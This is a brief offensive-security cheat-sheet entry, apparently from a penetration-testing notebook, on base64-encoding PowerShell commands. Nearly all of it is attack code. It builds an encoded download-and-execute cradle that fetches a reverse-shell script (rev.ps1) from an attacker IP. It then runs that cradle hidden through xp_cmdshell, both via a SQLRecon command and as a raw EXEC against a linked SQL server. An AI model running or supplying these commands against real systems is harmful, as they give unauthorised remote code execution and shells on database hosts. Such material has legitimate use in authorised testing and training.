Base64 encoded commands

To prevent issues with apostrophes etc. use base64 commands

pwsh
$text = "iex (new-object net.webclient).downloadstring('http://192.168.45.174/rev.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)
$EncodedText = [Convert]::ToBase64String($bytes)
$EncodedText
.\SQLRecon.exe -a windows -s 127.0.0.1,1433 -m iquery -i sa -o "EXEC ('xp_cmdshell ''powershell -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADEANwA0AC8AcgBlAHYALgBwAHMAMQAnACkA''') AT SQL03"
EXEC ('xp_cmdshell ''powershell -w hidden -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AOAA6ADQANAAzAC8AcgBlAHYALgBwAHMAMQAnACkA''')

Last updated